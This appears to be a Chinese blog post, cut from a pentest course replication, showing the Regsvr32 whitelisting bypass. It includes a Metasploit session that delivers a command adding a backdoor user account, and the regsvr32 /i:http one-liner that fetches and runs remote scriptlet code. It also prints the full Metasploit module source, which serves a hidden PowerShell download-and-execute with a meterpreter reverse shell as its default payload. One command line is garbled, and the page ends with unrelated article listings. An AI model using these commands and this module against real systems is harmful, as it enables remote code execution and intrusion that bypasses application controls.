复现亮神课程 基于白名单执行payload--Regsvr32

0x01 Regsvr32

Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL,需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式,或者提供DllInstall输出函数。

说明:Regsvr32.exe所在路径已被系统添加PATH环境变量中,因此,Regsvr32命令可识别。

Windows 2003 默认位置:

C:\WINDOWS\SysWOW64\regsvr32.exe

C:\WINDOWS\system32\regsvr32.exe

0x02 复现

攻击机:192.168.1.4 Debian
靶机: 192.168.1.119 Windows 2003

A)msf_regsvr32

Msf配置:

msf5 exploit(multi/handler) > use auxiliary/server/regsvr32_command_delivery_server

msf5 auxiliary(server/regsvr32_command_delivery_server) > set CMD net user qingxin qingxin /add

CMD => net user qingxin qingxin /add

msf5 auxiliary(server/regsvr32_command_delivery_server) > exploit

[*] Using URL: http://0.0.0.0:8080/OjwuLaHnidmiH96

[*] Local IP: http://192.168.190.141:8080/OjwuLaHnidmiH96

[*] Server started.

[*] Run the following command on the target machine:

regsvr32 /s /n /u /i:http://192.168.190.141:8080/OjwuLaHnidmiH96 scrobj.dll

靶机执行:

C:\Users\Administrator\Desktop\Regsvr32>regsvr32 /s /n /u /i:http::/OjwuLaHnidmiH96 scrobj.dllv

结果:

B) powershell版regsvr32

regsvr32_applocker_bypass_server.rb:

##
# This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit‐framework
##
class MetasploitModule < Msf::Exploit::RemoteRank = ManualRanking 

include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})super(update_info(info,'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q(This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.),
'License' => MSF_LICENSE,'Author' =>['Casey Smith', # AppLocker bypass research and vulnerability discover y(\@subTee)'Trenton Ivey', # MSF Module (kn0)],'DefaultOptions' =>{'Payload' => 'windows/meterpreter/reverse_tcp'},'Targets' => [['PSH', {}]],'Platform' => %w(win),'Arch' => [ARCH_X86, ARCH_X86_64],'DefaultTarget' => 0,'DisclosureDate' => 'Apr 19 2016','References' =>[['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html']]))end
def primerprint_status('Run the following command on the target machine:')print_line("regsvr32 /s /n /u /i:\#{get_uri}.sct scrobj.dll")end
def on_request_uri(cli, _request)# If the resource request ends with '.sct', serve the .sct file# Otherwise, serve the PowerShell payloadif _request.raw_uri =~ /\.sct$/
serve_sct_fileelse
serve_psh_payloadendend
def serve_sct_fileprint_status("Handling request for the .sct file from #{cli.peerhost}")
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
download_and_run = "#{ignore_cert}#{download_string}"
psh_command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run)
data = gen_sct_file(psh_command)send_response(cli, data, 'Content‐Type' => 'text/plain')end
def serve_psh_payloadprint_status("Delivering payload to #{cli.peerhost}")
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true)send_response(cli,data,'Content‐Type' => 'application/octet‐stream')end
def rand_class_id"#{Rex::Text.rand_text_hex 8}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex12}"end
def gen_sct_file(command)%{<?XML version="1.0"?><scriptlet><registrationprogid="\#{rand_text_a lphanumeric 8}"
classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration></scriptlet>}end
end

Msf配置:

靶机执行:

渗透测试-基于白名单执行payload--Regsvr32的更多相关文章

  1. 渗透测试-基于白名单执行payload--Odbcconf

    复现亮神课程 基于白名单执行payload--Odbcconf 0x01 Odbcconf简介: ODBCCONF.exe是一个命令行工具,允许配置ODBC驱动程序和数据源. 微软官方文档:https ...

  2. 渗透测试-基于白名单执行payload--Msiexec

    复现亮神课程  基于白名单执行payload--Msiexec 0x01 关于msiexec Msiexec 是 Windows Installer 的一部分.用于安装 Windows Install ...

  3. 渗透测试-基于白名单执行payload--Csc

    复现亮神课程 基于白名单执行payload--csc 0x01 Csc.exe C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NET FrameWork SDK安装在C盘,那么你 ...

  4. 渗透测试=基于白名单执行payload--Ftp

    还是自己动手复现亮神课程的过程. 环境 靶机win7 攻击机 kali Ftp.exe简介: Ftp.exe是Windows本身自带的一个程序,属于微软TP工具,提供基本的FTP访问 说明:Ftp.e ...

  5. 渗透测试-基于白名单执行payload--zipfldr.dll

    0x01 zipfldr.dll简介: zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件. 说明:zipfldr.dll所在路径已被系统添加PATH环境变量中,因此, ...

  6. 渗透测试-基于白名单执行payload--Compiler

    复现亮神课程 0x01 Compiler前言 说明:Microsoft.Workflow.Comiler.exe是.NET Framework默认自带的一个实用工具,用户能够以XOML工作流文件的形式 ...

  7. 渗透测试-基于白名单执行payload--Cmstp

    0x01 Cmstp简介 Cmstp安装或删除“连接管理器”服务配置文件.如果不含可选参数的情况下使用,则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件. 微软官方文档: ...

  8. 渗透测试-基于白名单执行payload--Pcalua

    0x01 Pcalua简介 Windows进程兼容性助理(Program Compatibility Assistant)的一个组件. 说明:Pcalua.exe所在路径已被系统添加PATH环境变量中 ...

  9. 渗透测试-基于白名单执行payload--Forfiles

    0x01 Forfiles简介: Forfiles为Windows默认安装的文件操作搜索工具之一,可根据日期,后缀名,修改日期为条件.常与批处理配合使用. 微软官方文档:https://docs.mi ...

随机推荐

  1. java中四种引用类型(转)

    今天看代码,里面有一个类java.lang.ref.SoftReference把小弟弄神了,试想一下,接触java已经有3年了哇,连lang包下面的类都不了解,怎么混.后来在网上查资料,感觉收获颇多, ...

  2. UCOS-信号标志组(学习笔记)

    信号标志组即根据各任务的信号进行逻辑运算,根据逻辑运算的结果决定是否进行.发送方指定向那个标志组的哪一位(响应位等于1表明向哪一位发)发1还是0.等待逻辑结果的任务指定等待那个标志组的哪几位.这几位按 ...

  3. HashSet&lt;T&gt;类

    HashSet<T>类主要是设计用来做高性能集运算的,例如对两个集合求交集.并集.差集等.集合中包含一组不重复出现且无特性顺序的元素. HashSet<T>的一些特性如下: 1 ...

  4. Android 上传图片到 Asp.Net 服务器的问题

    最近在做一个手机app联合系统管理做的应用程序,管理程序管理数据的发布和增删改查,手机app负责显示和操作业务逻辑这么一个功能. 刚开始路走的都很顺,但是走到通过Android客户端上传图片到Asp. ...

  5. Oracle篇 之 子查询

    子查询:先执行内部再外部 Select last_name,salary,dept_id From s_emp Where dept_id in ( Select dept_id From s_emp ...

  6. WinXP/Win2003 VOL等各版本的含义

    一般我们是通过版本来讨论同一软件区别的,比如WinXP免激活版.零售版等等,但通过讨论光盘的不同来定义版本更加容易理解. 因为软件的载体是光盘,微软不可能为了每一种版本都生产出不同的光盘,而只能是以相 ...

  7. 2: Eclipse反编译工具Jad及插件JadClipse配置

    Jad是一个Java的一个反编译工具,是用命令行执行,和通常JDK自带的java,javac命令是一样的.不过因为是控制台运行,所以用起来不太方便.不过幸好有一个eclipse的插件JadClipse ...

  8. test20180922 世界第一的猛汉王

    题意 分析 由于异色点必有连边,所以一个点的covered减去两个点共有的covered就是可存在的环数,十分巧妙. 代码 #include <bits/stdc++.h> using L ...

  9. poj-2777线段树刷题

    title: poj-2777线段树刷题 date: 2018-10-16 20:01:07 tags: acm 刷题 categories: ACM-线段树 概述 这道题是一道线段树的染色问题,,, ...

  10. Rank - 第二类斯特灵数

    2017-08-10 20:32:37 writer:pprp 题意如下: Recently in Teddy's hometown there is a competition named &quo ...